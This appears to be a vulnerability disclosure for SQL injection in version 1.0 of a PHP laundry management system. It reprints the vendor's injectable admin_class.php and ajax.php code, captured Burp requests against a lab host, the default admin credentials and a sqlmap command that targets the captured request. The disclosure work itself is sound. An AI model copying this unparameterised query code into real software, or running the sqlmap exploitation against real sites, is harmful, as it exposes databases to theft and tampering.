**Online Laundry Management System SQL Injection on /admin\_class.php**

**Vendor Homepage:：**

https://www.campcodes.com/downloads/online-laundry-management-system-source-code/

**Version:：**V1.0

**Tested on:**

PHP, Apache, MySQL

**Credentials:**

http://192.168.150.131/login.php

admin

admin123

**Affected Page:：**/ajax.php, /admin\_class.php

The potential injection point is located within the `delete\_category/delete\_inv/delete\_laundry/delete\_supply/delete\_user/login/save\_inv/save\_user` function in `admin\_class.php`. This function directly utilizes the `$id` variables to construct a database query without employing parameterized queries or proper data sanitization measures.

**Source code:** ajax.php & admin\_class..php

# ajax.php  
<?php  
ob\_start();  
$action = $\_GET['action'];  
include 'admin\_class.php';  
$crud = new Action();  
​  
if($action == 'login'){  
$login = $crud->login();  
if($login)  
echo $login;  
}  
​  
if($action == 'delete\_user'){  
$save = $crud->delete\_user();  
if($save)  
echo $save;  
}  
​  
if($action == "delete\_category"){  
$save = $crud->delete\_category();  
if($save)  
echo $save;  
}  
​  
if($action == "delete\_supply"){  
$save = $crud->delete\_supply();  
if($save)  
echo $save;  
}  
​  
if($action == "delete\_laundry"){  
$save = $crud->delete\_laundry();  
if($save)  
echo $save;  
}  
​  
if($action == "delete\_inv"){  
$save = $crud->delete\_inv();  
if($save)  
echo $save;  
}

# admin\_class..php

<?php  
session\_start();  
ini\_set('display\_errors', 1);  
Class Action {  
private $db;  
​  
public function \_\_construct() {  
ob\_start();  
  include 'db\_connect.php';  
     
   $this->db = $conn;  
}  
function \_\_destruct() {  
   $this->db->close();  
   ob\_end\_flush();  
}  
​  
function login(){  
extract($\_POST);  
$qry = $this->db->query("SELECT \* FROM users where username = '".$username."' and password = '".$password."' ");  
if($qry->num\_rows > 0){  
foreach ($qry->fetch\_array() as $key => $value) {  
if($key != 'passwors' && !is\_numeric($key))  
$\_SESSION['login\_'.$key] = $value;  
}  
return 1;  
}else{  
return 3;  
}  
}  
function login2(){  
extract($\_POST);  
$qry = $this->db->query("SELECT \* FROM user\_info where email = '".$email."' and password = '".md5($password)."' ");  
if($qry->num\_rows > 0){  
foreach ($qry->fetch\_array() as $key => $value) {  
if($key != 'passwors' && !is\_numeric($key))  
$\_SESSION['login\_'.$key] = $value;  
}  
$ip = isset($\_SERVER['HTTP\_CLIENT\_IP']) ? $\_SERVER['HTTP\_CLIENT\_IP'] : isset($\_SERVER['HTTP\_X\_FORWARDED\_FOR']) ? $\_SERVER['HTTP\_X\_FORWARDED\_FOR'] : $\_SERVER['REMOTE\_ADDR'];  
$this->db->query("UPDATE cart set user\_id = '".$\_SESSION['login\_user\_id']."' where client\_ip ='$ip' ");  
return 1;  
}else{  
return 3;  
}  
}  
function logout(){  
session\_destroy();  
foreach ($\_SESSION as $key => $value) {  
unset($\_SESSION[$key]);  
}  
header("location:login.php");  
}  
function logout2(){  
session\_destroy();  
foreach ($\_SESSION as $key => $value) {  
unset($\_SESSION[$key]);  
}  
header("location:../index.php");  
}  
​  
function save\_user(){  
extract($\_POST);  
$data = " name = '$name' ";  
$data .= ", username = '$username' ";  
$data .= ", password = '$password' ";  
$data .= ", type = '$type' ";  
if(empty($id)){  
$save = $this->db->query("INSERT INTO users set ".$data);  
}else{  
$save = $this->db->query("UPDATE users set ".$data." where id = ".$id);  
}  
if($save){  
return 1;  
}  
}  
function signup(){  
extract($\_POST);  
$data = " first\_name = '$first\_name' ";  
$data .= ", last\_name = '$last\_name' ";  
$data .= ", mobile = '$mobile' ";  
$data .= ", address = '$address' ";  
$data .= ", email = '$email' ";  
$data .= ", password = '".md5($password)."' ";  
$chk = $this->db->query("SELECT \* FROM user\_info where email = '$email' ")->num\_rows;  
if($chk > 0){  
return 2;  
exit;  
}  
$save = $this->db->query("INSERT INTO user\_info set ".$data);  
if($save){  
$login = $this->login2();  
return 1;  
}  
}  
​  
function save\_settings(){  
extract($\_POST);  
$data = " name = '$name' ";  
$data .= ", email = '$email' ";  
$data .= ", contact = '$contact' ";  
$data .= ", about\_content = '".htmlentities(str\_replace("'","&#x2019;",$about))."' ";  
if($\_FILES['img']['tmp\_name'] != ''){  
$fname = strtotime(date('y-m-d H:i')).'\_'.$\_FILES['img']['name'];  
$move = move\_uploaded\_file($\_FILES['img']['tmp\_name'],'../assets/img/'. $fname);  
$data .= ", cover\_img = '$fname' ";  
​  
}  
  
// echo "INSERT INTO system\_settings set ".$data;  
$chk = $this->db->query("SELECT \* FROM system\_settings");  
if($chk->num\_rows > 0){  
$save = $this->db->query("UPDATE system\_settings set ".$data." where id =".$chk->fetch\_array()['id']);  
}else{  
$save = $this->db->query("INSERT INTO system\_settings set ".$data);  
}  
if($save){  
$query = $this->db->query("SELECT \* FROM system\_settings limit 1")->fetch\_array();  
foreach ($query as $key => $value) {  
if(!is\_numeric($key))  
$\_SESSION['setting\_'.$key] = $value;  
}  
​  
return 1;  
}  
}  
​  
  
function save\_category(){  
extract($\_POST);  
$data = " name = '$name' ";  
$data .= ", price = '$price' ";  
if(empty($id)){  
$save = $this->db->query("INSERT INTO laundry\_categories set ".$data);  
}else{  
$save = $this->db->query("UPDATE laundry\_categories set ".$data." where id=".$id);  
}  
if($save)  
return 1;  
}  
function delete\_category(){  
extract($\_POST);  
$delete = $this->db->query("DELETE FROM laundry\_categories where id = ".$id);  
if($delete)  
return 1;  
}  
function save\_supply(){  
extract($\_POST);  
$data = " name = '$name' ";  
if(empty($id)){  
$save = $this->db->query("INSERT INTO supply\_list set ".$data);  
}else{  
$save = $this->db->query("UPDATE supply\_list set ".$data." where id=".$id);  
}  
if($save)  
return 1;  
}  
function delete\_supply(){  
extract($\_POST);  
$delete = $this->db->query("DELETE FROM supply\_list where id = ".$id);  
if($delete)  
return 1;  
}  
​  
function save\_laundry(){  
extract($\_POST);  
$data = " customer\_name = '$customer\_name' ";  
$data .= ", remarks = '$remarks' ";  
$data .= ", total\_amount = '$tamount' ";  
$data .= ", amount\_tendered = '$tendered' ";  
$data .= ", amount\_change = '$change' ";  
if(isset($pay)){  
$data .= ", pay\_status = '1' ";  
}  
if(isset($status))  
$data .= ", status = '$status' ";  
if(empty($id)){  
$queue = $this->db->query("SELECT `queue` FROM laundry\_list where status != 3 order by id desc limit 1");  
$queue =$queue->num\_rows > 0 ? $queue->fetch\_array()['queue']+1 : 1;  
$data .= ", queue = '$queue' ";  
$save = $this->db->query("INSERT INTO laundry\_list set ".$data);  
if($save){  
$id = $this->db->insert\_id;  
foreach ($weight as $key => $value) {  
$items = " laundry\_id = '$id' ";  
$items .= ", laundry\_category\_id = '$laundry\_category\_id[$key]' ";  
$items .= ", weight = '$weight[$key]' ";  
$items .= ", unit\_price = '$unit\_price[$key]' ";  
$items .= ", amount = '$amount[$key]' ";  
$save2 = $this->db->query("INSERT INTO laundry\_items set ".$items);  
}  
return 1;  
}   
}else{  
$save = $this->db->query("UPDATE laundry\_list set ".$data." where id=".$id);  
if($save){  
$this->db->query("DELETE FROM laundry\_items where id not in (".implode(',',$item\_id).") ");  
foreach ($weight as $key => $value) {  
$items = " laundry\_id = '$id' ";  
$items .= ", laundry\_category\_id = '$laundry\_category\_id[$key]' ";  
$items .= ", weight = '$weight[$key]' ";  
$items .= ", unit\_price = '$unit\_price[$key]' ";  
$items .= ", amount = '$amount[$key]' ";  
if(empty($item\_id[$key]))  
$save2 = $this->db->query("INSERT INTO laundry\_items set ".$items);  
else  
$save2 = $this->db->query("UPDATE laundry\_items set ".$items." where id=".$item\_id[$key]);  
}  
return 1;  
}   
​  
}  
}  
​  
function delete\_laundry(){  
extract($\_POST);  
$delete = $this->db->query("DELETE FROM laundry\_list where id = ".$id);  
$delete2 = $this->db->query("DELETE FROM laundry\_items where laundry\_id = ".$id);  
if($delete && $delete2)  
return 1;  
}  
function save\_inv(){  
extract($\_POST);  
$data = " supply\_id = '$supply\_id' ";  
$data .= ", qty = '$qty' ";  
$data .= ", stock\_type = '$stock\_type' ";  
if(empty($id)){  
$save = $this->db->query("INSERT INTO inventory set ".$data);  
}else{  
$save = $this->db->query("UPDATE inventory set ".$data." where id=".$id);  
}  
if($save)  
return 1;  
}  
function delete\_inv(){  
extract($\_POST);  
$delete = $this->db->query("DELETE FROM inventory where id = ".$id);  
if($delete)  
return 1;  
}  
  
​  
}

**Proof of Concept:**

**Burp Requests:**

```

POST /ajax.php?action=delete\_category HTTP/1.1

Host: 192.168.150.131

Content-Length: 4

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=categories

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

id=5

```

```

POST /ajax.php?action=delete\_inv HTTP/1.1

Host: 192.168.150.131

Content-Length: 4

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=inventory

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

id=3

```

```

POST /ajax.php?action=delete\_laundry HTTP/1.1

Host: 192.168.150.131

Content-Length: 5

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=laundry

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

id=21

```

```

POST /ajax.php?action=delete\_supply HTTP/1.1

Host: 192.168.150.131

Content-Length: 4

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=supply

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

id=4

```

```

POST /ajax.php?action=delete\_user HTTP/1.1

Host: 192.168.150.131

Content-Length: 5

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=users

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

id=11

```

```

POST /ajax.php?action=login HTTP/1.1

Host: 192.168.150.131

Content-Length: 32

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/login.php

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

username=admin&password=admin123

```

```

POST /ajax.php?action=save\_inv HTTP/1.1

Host: 192.168.150.131

Content-Length: 34

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=inventory

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

id=&supply\_id=2&qty=1&stock\_type=2

```

```

POST /ajax.php?action=save\_user HTTP/1.1

Host: 192.168.150.131

Content-Length: 47

Accept: \*/\*

DNT: 1

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.150.131

Referer: http://192.168.150.131/index.php?page=users

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=n44uhtjl91qpq3qufkq5go5lvb

Connection: close

type=1&id=1&name=1&username=2&password=admin123

```

**Sqlmap:**

python3 sqlmap.py -r 1.txt --current-user --batch --dbms mysql

**Screenshot:**















